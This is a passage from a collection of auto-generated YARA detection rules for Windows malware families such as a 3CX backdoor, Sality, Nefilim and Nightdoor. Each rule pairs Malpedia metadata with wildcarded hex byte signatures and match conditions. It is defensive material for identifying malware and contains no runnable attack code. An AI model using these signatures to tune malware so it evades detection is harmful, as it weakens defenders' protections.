		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c8c4fb8e-665a-53b6-8b3e-37d64668f35c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.3cx_backdoor_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "1c7c6f3ffb80a119e6e9a09aa255f11daa8a6a0cadae64c0d2cee6a1f6aea1e9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8d442420 488d4d98 e8???????? 488bf8 488d542478 498bce e8???????? }
		$sequence_1 = { 488b4d8f 4c8d05b77c0300 41b920000000 c744242000000000 488d15c27c0300 ff15???????? }
		$sequence_2 = { 41b8ffffffff 488bd6 ff15???????? ba25000000 8d4a1b }
		$sequence_3 = { 0f87ff010000 c1e60a 81c60024a0fc 03f0 eb11 8d860024ffff }
		$sequence_4 = { 488bd7 498bcd e8???????? 498bc4 4c8d5c2450 498b5b40 }
		$sequence_5 = { 488d0547ac0100 4a8b04f8 42f644e83801 7515 e8???????? c70009000000 e8???????? }
		$sequence_6 = { 7424 488b4308 44386019 7515 6690 483b5810 750d }
		$sequence_7 = { 488bc8 e8???????? 4889751f 4889752f 48897537 }
		$sequence_8 = { e8???????? 85c0 0f85cd100000 e9???????? 4c8d050bae0000 ebdb 4c8d05faad0000 }
		$sequence_9 = { 83b96804000002 0f8406020000 bd20000000 4c8d35e1510100 488b4310 }
	condition:
		7 of them and filesize < 585728
}

rule MALPEDIA_Win_Sality_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "491e3727-8d5f-59a5-be7f-6df769a7e7b0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sality"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sality_auto.yar#L1-L222"
		license_url = "N/A"
		logic_hash = "69c1f81399935d5f7c9bd23257cd0c140ba6f95de6444c6618514cda674397de"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 81f201a00000 668955f8 eb0b 668b45f8 66d1e8 668945f8 }
		$sequence_1 = { 6a67 e8???????? 83c410 8b4dfc 03c8 894dfc }
		$sequence_2 = { 51 ff15???????? e9???????? 68581b0000 }
		$sequence_3 = { 51 ff15???????? eb14 8d95f0fdffff }
		$sequence_4 = { 81ec88010000 57 c78578feffff00000000 c685fcfeffff00 b940000000 33c0 8dbdfdfeffff }
		$sequence_5 = { 6a66 e8???????? 83c410 8b55fc 03d0 8955fc eb37 }
		$sequence_6 = { 0f8447010000 d1ea 7307 4e }
		$sequence_7 = { 51 ff15???????? e8???????? 25ffff0000 }
		$sequence_8 = { 7513 8bc2 83e804 8b00 8906 }
		$sequence_9 = { 8920 896804 8d9dba114000 895808 }
		$sequence_10 = { 035c240c 33c0 8b3b 037c240c 8b742410 }
		$sequence_11 = { 8bf2 8bf8 50 ff95c5144000 8bc8 f3a6 61 }
		$sequence_12 = { 52 ff953a144000 e8???????? 8907 }
		$sequence_13 = { 646789260000 8b74240c 66813e4d5a 0f858c000000 03763c 813e50450000 }
		$sequence_14 = { 8b7c2410 b996000000 32c0 f2ae 8bcf }
		$sequence_15 = { 59 83c304 40 3b4218 75e2 3b4218 }
		$sequence_16 = { 010d???????? 83c004 5f 5e }
		$sequence_17 = { 00fb fb 804880bc 280d???????? }
		$sequence_18 = { 0306 50 8b4e04 8d5608 }
		$sequence_19 = { 0306 50 8d5604 e8???????? }
		$sequence_20 = { 0007 7307 c607ff 8ac1 }
		$sequence_21 = { 014304 c3 53 56 }
		$sequence_22 = { 0202 7466 0fb77202 8b7a04 }
		$sequence_23 = { 031e ff7608 ff7604 e8???????? }
	condition:
		7 of them and filesize < 1523712
}

rule MALPEDIA_Win_Ironwind_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8b99e462-a945-5218-9501-2580c05d4989"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironwind"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ironwind_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "29c70d85a1620a72f758c4af21c3937f3b52ad156ab8f42df1f1abd2148e1f61"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488bd3 488bc8 ff15???????? 83f801 0f850b010000 4c3bfb 751e }
		$sequence_1 = { 0f848b000000 488b4dc8 ff15???????? 488b55e8 488d0d988e0400 e8???????? 488945c8 }
		$sequence_2 = { e9???????? f60603 0f95c0 88878a050000 488b4f18 }
		$sequence_3 = { 7425 418bc8 488d15f9db0200 90 410fb60409 48ffc1 3a440aff }
		$sequence_4 = { 83fa01 752d 488d0d109c0600 e8???????? 488bc8 ff15???????? }
		$sequence_5 = { 0f84aa030000 b001 88476c 48c70700000000 41807c246c00 743d 488bce }
		$sequence_6 = { 4c896b18 33ff 0fb6ac2490000000 418b87b4060000 488b4b10 448bc0 483bc8 }
		$sequence_7 = { 4c8d4e38 8bca 4533c0 e8???????? 85c0 0f89c9000000 48c74638ffffffff }
		$sequence_8 = { 4c896c2438 4c897c2430 e8???????? 4c8be8 4885c0 0f84e0020000 488bd0 }
		$sequence_9 = { 807f5100 740e 80bc248000000000 0f846a020000 488b4f28 4885c9 743d }
	condition:
		7 of them and filesize < 995328
}

rule MALPEDIA_Win_Webbytea_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "af3cfaf5-47ae-5df3-b1d3-9a9fcbf06c59"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webbytea"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webbytea_auto.yar#L1-L110"
		license_url = "N/A"
		logic_hash = "f1288f1b53f639ade5d87a2ce49a70d5b29a0fbdd563d1f0066de9197507a949"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8901 488d542430 488b4c2420 ff15???????? }
		$sequence_1 = { 8901 488d542430 488b4c2420 ff15???????? 85c0 }
		$sequence_2 = { ff15???????? 85c0 7422 41b904000000 }
		$sequence_3 = { ff15???????? 85c0 7444 41b904000000 }
		$sequence_4 = { c68424f000000043 c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 }
		$sequence_5 = { ffc0 488b8c2488020000 8901 488d542430 488b4c2420 ff15???????? 85c0 }
		$sequence_6 = { 4803c8 488bc1 48c744243000000000 c744242800000000 }
		$sequence_7 = { c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 c68424f500000065 }
		$sequence_8 = { 8b00 ffc0 488b8c2488020000 8901 }
		$sequence_9 = { c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 }
	condition:
		7 of them and filesize < 552960
}

rule MALPEDIA_Win_Nefilim_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f770afff-845f-5499-a82e-ad8c0e6c9614"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nefilim_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "84fb3ca9c75650a6b701073468d1bedd054df919eaf8258d3aea8d2bb0356db2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 ff15???????? 50 ff15???????? 57 8bf0 }
		$sequence_1 = { 7304 8d442414 68???????? 50 ffd6 85c0 0f84dc000000 }
		$sequence_2 = { 50 ffd6 85c0 0f849b040000 68???????? 8d8424d0000000 }
		$sequence_3 = { 0f8f5d010000 8b4c2418 394c2428 0f822dffffff e9???????? }
		$sequence_4 = { 3b5d0c 72b3 5e 8b8538ffffff 6a10 2bf8 }
		$sequence_5 = { 33c0 50 50 ff74241c ffd7 53 8d442434 }
		$sequence_6 = { 8bf0 ffd3 50 57 e8???????? }
		$sequence_7 = { 68???????? 50 ffd6 85c0 0f84a0000000 8b442414 397c2428 }
		$sequence_8 = { 8b4de0 a3???????? 7303 8d4de0 }
		$sequence_9 = { c9 c3 55 8bec 83e4f8 81ecec020000 a1???????? }
	condition:
		7 of them and filesize < 142336
}

rule MALPEDIA_Win_Ketrum_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1ff13c8d-0527-5a40-b6b9-bb4141259de3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrum"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ketrum_auto.yar#L1-L171"
		license_url = "N/A"
		logic_hash = "2f5239fe4e1f5d031309de047f066345a22c976ad71c9c05f830bcb3f0899bfb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8a08 40 3acb 75f9 52 ff74241c 2bc7 }
		$sequence_1 = { 6a00 50 e8???????? 8d85fcefffff 83c418 }
		$sequence_2 = { 8bf7 83e61f c1e606 033485a0bc6200 c745e401000000 }
		$sequence_3 = { 68???????? 50 ffd7 83c43c 53 53 }
		$sequence_4 = { 85c0 7549 ff15???????? 8bf0 56 68???????? }
		$sequence_5 = { ba???????? 898df0d3ffff 3bc7 7321 8995f0d3ffff }
		$sequence_6 = { 894dd4 8945d8 eb06 215dd4 215dd8 }
		$sequence_7 = { 58 b9???????? e8???????? 59 57 68???????? e8???????? }
		$sequence_8 = { 68???????? 50 ff15???????? ffb534fdffff 8d8de0fdffff ffb52cfdffff e8???????? }
		$sequence_9 = { 68???????? 8d4da8 e8???????? 59 84c0 }
		$sequence_10 = { e8???????? 8b450c 8b5d08 33c9 }
		$sequence_11 = { ff15???????? 898350010000 80bd33efffff00 0f84e3f2ffff }
		$sequence_12 = { 7503 6a09 59 66890e eb03 668916 830002 }
		$sequence_13 = { 898d34efffff 6a00 ffb534efffff 83c8ff }
		$sequence_14 = { 50 8db578fdffff e8???????? 8bc6 50 8d85a0fbffff 50 }
		$sequence_15 = { 8d458c 50 c645fc03 e8???????? 59 }
	condition:
		7 of them and filesize < 4599808
}

rule MALPEDIA_Win_Unidentified_044_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "34c20231-5d6b-58d1-a551-535378ccd58f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_044"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_044_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "73cc874ec97680c4006726eab010d16567bb76aa0c2f93b41df5ce3208d81ea0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd6 a1???????? 85c0 75e2 5e c3 a1???????? }
		$sequence_1 = { 660bfb 66897c0102 8b4c2410 49 894c2410 85c9 }
		$sequence_2 = { 8d8570feffff 50 6802020000 891d???????? }
		$sequence_3 = { 83f801 0f85fd000000 8b542418 8d4c2424 }
		$sequence_4 = { 803d????????00 5f 740d 8b0d???????? 51 }
		$sequence_5 = { 8b442414 52 50 55 83c8ff }
		$sequence_6 = { a3???????? 7e0d 6a00 68???????? ff15???????? }
		$sequence_7 = { 50 ffd7 85c0 7544 8b2d???????? 8b1d???????? 90 }
		$sequence_8 = { 66c1c208 50 6689542426 ff15???????? 8bf8 83ffff }
		$sequence_9 = { 55 e8???????? 83c40c 84c0 74a0 8a442413 }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Byeby_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0ebfb487-5cbf-53be-adad-b7561bd94d85"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.byeby_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "14e04fc099db6b56de85356d95024648b8f691b46ad7013820136f566a988b61"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c78424a002000059335630 c68424a402000000 50 8d8424380a0000 50 ff15???????? }
		$sequence_1 = { c68424d402000000 c784242c0300005130394e c78424300300005455464f c684243403000000 c78424e402000056464a42 c78424e8020000546c4e47 c68424ec02000000 }
		$sequence_2 = { 8d85c0f9ffff 66c745e80d0a 6804050000 50 f30f7f45d4 c645ea00 }
		$sequence_3 = { 50 8b8528e5ffff 0f94c1 898d3ce5ffff 8b8d24e5ffff 8b048518ab0110 ff3401 }
		$sequence_4 = { 85c0 7411 ff35???????? 8bc8 }
		$sequence_5 = { 8bf0 83feff 0f8489000000 6a00 56 ff15???????? 3d00900100 }
		$sequence_6 = { 894c2428 ff15???????? 85c0 7430 8b7c2414 8d4900 83f8ff }
		$sequence_7 = { 64890d00000000 59 5f 5e 8b8c243c100000 33cc }
		$sequence_8 = { 0fbec2 0fb680d0450110 83e00f eb02 33c0 8bbdc8fdffff 6bc009 }
		$sequence_9 = { 740b 8d44246c 50 ff15???????? 8b442430 85c0 7409 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Pss_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8f53afdc-5ec6-5728-abfd-d91f1e9f3440"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pss"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pss_auto.yar#L1-L139"
		license_url = "N/A"
		logic_hash = "1278c29ce9286804a6a68366ec725de6162c277ad4b04021e24c075a2ce1e54a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d48fe e8???????? e9???????? 83f811 }
		$sequence_1 = { 7437 ff15???????? 3de5030000 752a }
		$sequence_2 = { ff15???????? 83ceff 3bc6 7504 }
		$sequence_3 = { 8d4dbc c745fc02000000 e8???????? 8d8550ffffff 50 8d45bc }
		$sequence_4 = { 6a00 ff15???????? 50 ff15???????? b001 eb24 e8???????? }
		$sequence_5 = { 8d7f08 8b048d387a0010 ffe0 f7c703000000 }
		$sequence_6 = { 83feff 0f8413020000 33c0 8d7c2424 ab ab ab }
		$sequence_7 = { 51 ff75dc ff15???????? 85c0 751c }
		$sequence_8 = { 8bf0 488bcd ff15???????? 85f6 740f 4439b42488000000 }
		$sequence_9 = { 90 4c89642420 4c89642428 e8???????? }
		$sequence_10 = { 48895d90 4c896588 4488642478 448d430c }
		$sequence_11 = { 750d 48890a 488b4908 44384119 74ea }
		$sequence_12 = { a801 7524 83c801 8905???????? 488d05c93d0000 488905???????? }
	condition:
		7 of them and filesize < 421888
}

rule MALPEDIA_Win_Daserf_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9664e62d-eafe-56ce-b464-13f7ca132897"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.daserf_auto.yar#L1-L169"
		license_url = "N/A"
		logic_hash = "bc55f86dc602900cf521d018b673d7e5221e817a978c5aeccfcf33a4e89ac9bd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d1b 0f8e0d010000 87db 8d8568bfffff 8d1b }
		$sequence_1 = { 56 ff15???????? ff75f8 8b35???????? ffd6 }
		$sequence_2 = { 9b 68???????? 8bd2 50 f7d0 f7d0 }
		$sequence_3 = { 6800280000 8d09 8d8568bfffff f7d1 f7d1 53 90 }
		$sequence_4 = { ff15???????? c705????????01000000 50 53 2d907cb3df }
		$sequence_5 = { 81ebfff91e8d 81c3fb8dd0b7 2d4e5b5869 2db747503f 05dc183929 81eb25261cb5 }
		$sequence_6 = { 05e81801ee 95 89ac2400f1ffff 8be8 8b842400f1ffff 81c38b11c7c3 }
		$sequence_7 = { 2d14be6b51 81c37f189ce5 05a5174ceb 81eb5a34b440 }
		$sequence_8 = { b8???????? e9???????? 6a0b e9???????? 50 }
		$sequence_9 = { 81c38ae02de5 81ebb92f9b23 81eb42c7a1f2 81eb74c57063 2d0f027a7d 2db2e0f8da }
		$sequence_10 = { f7d6 f7d6 81eb8054748e f7d6 f7d6 81c3cb6fc0a8 }
		$sequence_11 = { 050a037e0a 81ebd4a1a6fb 81c34646dc3b 81c351fc1576 81c3eeb6e6f5 2d8cb08456 }
		$sequence_12 = { 0589639a4f 81ebc4cfca9c 05e0940a91 81c3df202492 81c304600bef 81eba197b1b7 }
		$sequence_13 = { 2def0da659 87f6 81eb1c07b732 8bc0 }
		$sequence_14 = { 81c3787cc718 2ddbcfa691 81c3b7415b90 81c3838339ae 2d5988c64e }
		$sequence_15 = { 81c38cf537b9 9b 81c339ec068e 7500 053941cb1e }
	condition:
		7 of them and filesize < 245760
}

rule MALPEDIA_Win_Kugelblitz_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "db17bbb0-50e5-5fe6-929a-1431a26aafbe"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kugelblitz"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kugelblitz_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "4575fda7b8a74c948e62c70a1906fcade3b297881f83d4f61f7fa59414771962"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 448bc0 83f8ff 0f8405010000 0f1f440000 488b4de8 }
		$sequence_1 = { c3 488d0511430000 c3 488d0501430000 c3 }
		$sequence_2 = { 4053 4883ec20 488bd9 488d0580230000 488901 }
		$sequence_3 = { 4883c227 488b49f8 482bc1 4883c0f8 4883f81f 7669 }
		$sequence_4 = { 483bd3 0f8727010000 48896c2430 4883ca07 488b6918 }
		$sequence_5 = { 488d542448 488d4c2470 480f47542448 e8???????? 488b442470 }
		$sequence_6 = { 488d0da2410000 e8???????? 85c0 742e 32c0 eb33 }
		$sequence_7 = { 33db eb49 4881f900100000 7238 }
		$sequence_8 = { 4a8d1409 e8???????? 48895de8 488b8f80000000 ff15???????? }
		$sequence_9 = { 488b442470 4533c0 ba02000000 48634804 488d442470 }
	condition:
		7 of them and filesize < 82944
}

rule MALPEDIA_Win_Boatlaunch_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5b0d65d7-386e-5181-abff-96bda8de10ae"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boatlaunch"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boatlaunch_auto.yar#L1-L171"
		license_url = "N/A"
		logic_hash = "adf615ca940a4845de7b709cb5b628615811519e57950596633d26b59f2f2942"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c7430c00000000 c7431000000000 c7431400000000 8d45f0 50 8d45d8 }
		$sequence_1 = { 8345e802 4b 85db 75af eb05 e9???????? }
		$sequence_2 = { 0f84b1000000 8b4878 85c9 0f84a6000000 894dec 03cf 894df0 }
		$sequence_3 = { 7502 48ab 488bfe ffcb 85db }
		$sequence_4 = { 488b4dd0 e8???????? 488b45d8 488d6528 415b }
		$sequence_5 = { 8b45e4 03701c 2b75ec 0375e4 ad 85c0 7407 }
		$sequence_6 = { 448b45fc e8???????? 48894500 48c7c105000000 }
		$sequence_7 = { 488d6c2430 48c745f800000000 488d35901e0000 488bfe bb40000000 }
		$sequence_8 = { 488905???????? 48c7c001000000 488d6500 5d }
		$sequence_9 = { c745f800000000 8d5ddc c70318000000 c7430400000000 }
		$sequence_10 = { 8d85e0eeffff 50 e8???????? 83c404 53 }
		$sequence_11 = { 5a 59 5b 5d c3 48894c2408 4855 }
		$sequence_12 = { ff75f8 e8???????? 81fb02010000 7507 c745fc01000000 8b45fc 5f }
		$sequence_13 = { c7431400000000 8d45f4 50 8d45dc 50 68ff0f1f00 }
		$sequence_14 = { 48c7c164000000 e8???????? e9???????? 488d6500 }
		$sequence_15 = { 4150 4151 4152 4153 4881ec78110000 488dac2480000000 48c745e800000000 }
	condition:
		7 of them and filesize < 33792
}

rule MALPEDIA_Win_Nightdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d8e136f5-ecc5-5fee-8886-ee91c9e305f7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightdoor_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "d66f399d7d6cc21f703af3dc1753edb59e4b1b5c61847dda1732e7b96de70f40"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 ff15???????? 8b45fc 8b08 51 e8???????? 83c404 }
		$sequence_1 = { 51 8d4dac e8???????? c7458800000000 eb09 8b5588 }
		$sequence_2 = { 0f840c020000 6a00 8d4dc0 51 8d55c8 52 }
		$sequence_3 = { 6a01 e8???????? 83c404 8945fc 8b4d10 51 8b550c }
		$sequence_4 = { 85c0 7505 8b45fc eb1c 8b4dfc e8???????? 8b4d08 }
		$sequence_5 = { e9???????? 8b4518 3b450c 7765 8b4d18 51 8b4df0 }
		$sequence_6 = { ff15???????? 8945e0 837de0ff 7524 ff15???????? 8945dc }
		$sequence_7 = { 51 ff15???????? 85c0 0f853a030000 8d95d4feffff 52 8d85d4f6ffff }
		$sequence_8 = { 83c404 b001 e9???????? 83ff0b 7510 8bd6 8bcb }
		$sequence_9 = { 8b45f0 c7400c00000000 68???????? 8b4df0 83c110 }
	condition:
		7 of them and filesize < 1124352
}

rule MALPEDIA_Win_Greenshaitan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "14595aea-9f28-5e60-9b87-81d296b006da"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.greenshaitan_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "1f6063ccf28ef721dc1c6c4df5a5fddba54c56e2e1ec3d58cf26082647681dea"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d442434 64a300000000 8b6c2444 33db 895c2410 c744242c0f000000 895c2428 }
		$sequence_1 = { 6a02 68???????? 8d842494000000 e8???????? }
		$sequence_2 = { 895c244c 668944243c 3974246c 720d 8b4c2458 51 e8???????? }
		$sequence_3 = { 7594 8b7c2414 83ff01 7534 }
		$sequence_4 = { ff15???????? 8d442404 c746180f000000 c7461400000000 c6460400 8d5001 8a08 }
		$sequence_5 = { 3974246c 720d 8b4c2458 51 e8???????? 83c404 8b542430 }
		$sequence_6 = { 56 e8???????? 56 8bd8 e8???????? 8be8 8b4734 }
		$sequence_7 = { c74424480f000000 895c2444 885c2434 eb1b 837d6810 7205 8b4554 }
		$sequence_8 = { 53 890a e8???????? 55 e8???????? 83c408 }
		$sequence_9 = { 8bf1 8b4814 c744240800000000 7214 8b4004 51 8bd8 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Ripper_Atm_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
